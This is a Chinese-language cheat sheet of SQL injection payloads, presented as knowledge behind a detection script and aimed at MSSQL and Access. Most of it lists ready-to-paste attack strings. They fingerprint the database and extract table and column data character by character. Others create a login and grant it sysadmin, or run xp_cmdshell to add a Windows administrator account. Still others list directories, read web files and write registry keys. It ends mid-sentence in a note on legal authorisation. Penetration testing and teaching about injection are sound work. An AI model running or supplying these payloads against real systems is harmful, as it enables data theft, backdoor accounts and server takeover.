简介:此SQL注入检测脚本旨在自动扫描和识别潜在的安全漏洞,通过模拟攻击行为来测试应用程序对SQL注入的防御能力,确保数据安全。
### SQL注入测试脚本知识点详解
#### 一、SQL注入简介
SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过在应用程序的输入字段中插入恶意SQL语句来操纵数据库执行非授权操作。为了检测和防范此类攻击,渗透测试人员通常会使用一系列测试语句来尝试触发SQL注入漏洞。
#### 二、SQL注入常用测试语句
1. **基础测试**
- **通用测试**:`and 1=1 --` 和 `and 1=2 --` 是最基础的SQL注入测试语句,用来判断是否存在SQL注入的可能性。
- **针对MSSQL**:` and user>0 --` 用于测试MSSQL服务器是否对用户输入进行了有效过滤。
2. **字符串闭合测试**
- **不同环境下的闭合**:如 `) and (a=a` 和 `) and (a=b` 用来尝试闭合字符串并检查是否有响应差异。
3. **数据库信息泄露**
- **查询数据库对象数量**:
- MSSQL:`and (select count(*) from sysobjects)>0 --`
- Access:`and (select count(*) from msysobjects)>0 --`
- **获取表数据**:
- ` and (select Count(*) from [数据库名])>0 --`
- ` and (select Count(*) from 表名)>0 --`
- ` and (select top 1 len(列名) from 表名)>0 --`
4. **字符编码和ASCII值测试**
- **获取列名的ASCII码值**:
- Access:`and (select top 1 asc(mid(列名,1,1)) from 表名)>0 --`
- MSSQL:`and (select top 1 unicode(substring(列名,1,1)) from 表名)>0 --`
5. **权限测试**
- **测试系统角色成员**:针对MSSQL,通过检查特定的角色成员身份来了解用户的权限。
- `and 1=(select IS_SRVROLEMEMBER(sysadmin)); --`
- `and 1=(select IS_SRVROLEMEMBER(serveradmin)); --`
- `and 1=(select IS_SRVROLEMEMBER(setupadmin)); --`
- `and 1=(select IS_SRVROLEMEMBER(securityadmin)); --`
- `and 1=(select IS_SRVROLEMEMBER(diskadmin)); --`
- `and 1=(select IS_SRVROLEMEMBER(bulkadmin)); --`
- `and 1=(select IS_MEMBER(db_owner)); --`
6. **执行存储过程**
- **添加登录账户**:
- `; exec master.dbo.sp_addlogin username, password; --`
- **设置密码**:
- `; exec master.dbo.sp_password null, username, password; --`
- **添加系统角色成员**:
- `; exec master.dbo.sp_addsrvrolemember sysadmin, username; --`
- **执行命令**:
- `; exec master.dbo.xp_cmdshell net user username password add; --`
- `; exec master.dbo.xp_cmdshell net localgroup administrators username add; --`
7. **目录操作**
- **创建临时表记录目录路径**:
- `create table dirs (paths varchar(100), id int); insert into dirs exec master.dbo.xp_dirtree C:; --`
- `select top 1 paths from dirs where paths not in (已排除的路径); --`
- **读取文件内容**:
- `; insert into temp(id) exec master.dbo.xp_cmdshell type C:webindex.asp; --`
8. **注册表操作**
- **读取注册表键值**:
- `; exec xp_regread HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindowsCurrentVersion, CommonFilesDir; --`
- **写入注册表键值**:
- `; exec xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindowsCurrentVersion, CommonFilesDir, 值, 2; --` 其中 `2` 表示类型为 `REG_SZ`。
#### 三、SQL注入测试策略
1. **选择合适的测试用例**:根据目标系统的特性选择适当的测试用例。
2. **逐步深入**:从简单的测试开始,逐渐尝试更复杂的注入方式。
3. **利用现有工具**:可以使用Burp Suite、SQLMap等工具辅助测试。
4. **多角度测试**:除了上述提到的方法外,还可以尝试其他类型的注入方法,比如布尔盲注、时间盲注等。
#### 四、注意事项
- 在进行渗透测试时,确保拥有合法授权